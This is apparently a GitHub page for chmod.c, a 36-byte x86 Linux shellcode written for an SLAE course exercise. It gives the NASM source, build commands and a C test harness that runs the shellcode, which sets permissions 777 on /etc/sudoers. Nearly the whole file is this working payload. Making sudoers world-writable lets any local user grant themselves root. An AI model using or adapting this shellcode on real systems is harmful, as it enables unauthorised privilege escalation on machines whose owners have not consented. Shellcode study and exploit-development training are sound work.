-
Notifications
You must be signed in to change notification settings - Fork 20
/
chmod.c
81 lines (52 loc) · 1.43 KB
/
chmod.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
/*
################## Description ####################
; Title : chmod 777 /etc/sudoers - Shellcode
; Author : Hashim Jawad
; Website : ihack4falafel[.]com
; Twitter : @ihack4falafel
; SLAE ID : SLAE-1115
; Purpose : chmod /etc/sudoers permissions
; OS : Linux
; Arch : x86
; Size : 36 bytes
################### chmod.nasm #####################
global _start
section .text
_start:
; push NULL into stack
xor edx, edx
push edx
; push (/etc/sudoers) into stack
push 0x7372656f
push 0x6475732f
push 0x6374652f
; store ESP pointer in EBX
mov ebx, esp
; store octal value of (777) in CX
mov cx, 0x1ff
; execute __NR_chmod syscall
xor eax, eax
mov al, 0xf
int 0x80
; execute __NR_exit syscall
xor eax, eax
mov al,0x1
int 0x80
################### chmod binary #####################
nasm -f elf32 -o chmod.o chmod.nasm
ld -z execstack -o chmod chmod.o
################### Shellcode ########################
objdump -d chmod -M intel
################## Compile #########################
gcc -fno-stack-protector -z execstack chmod.c -o chmod
*/
#include<stdio.h>
#include<string.h>
unsigned char code[] = \
"\x31\xd2\x52\x68\x6f\x65\x72\x73\x68\x2f\x73\x75\x64\x68\x2f\x65\x74\x63\x89\xe3\x66\xb9\xff\x01\x31\xc0\xb0\x0f\xcd\x80\x31\xc0\xb0\x01\xcd\x80";
main()
{
printf("Shellcode Length: %d\n", strlen(code));
int (*ret)() = (int(*)())code;
ret();
}